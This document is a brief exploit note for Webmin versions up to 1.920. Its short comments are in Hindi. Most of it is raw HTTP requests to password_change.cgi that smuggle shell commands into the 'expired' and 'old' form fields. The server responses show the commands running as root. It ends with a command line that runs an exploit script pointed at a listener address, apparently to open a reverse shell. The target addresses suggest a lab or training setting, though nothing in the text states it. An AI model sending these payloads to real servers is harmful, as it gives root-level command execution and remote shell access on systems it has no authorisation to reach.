
Webmin <=1.920 RCE
1. Webmin <=1.920
2. पासवर्ड रीसेट फंक्शन सक्षम होना आवश्यक है
POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
expired=id
<h1>Error - Perl execution Failed</h1>
<p>आपका पासवर्ड समाप्त हो गया है, और एक नया चुना जाना चाहिए।uid=0(root) gid=0(root) groups=0(root)
</p>
POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=root&pam=&expired=2&old=vrvik|id&new1=vrvik&new2=vrvik
<div class="panel-body">
<hr>
<center><h3>पासवर्ड बदलने में विफल : वर्तमान पासवर्ड गलत हैuid=0(root) gid=0(root) groups=0(root)
</h3></center>
python3 webmin_rce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888
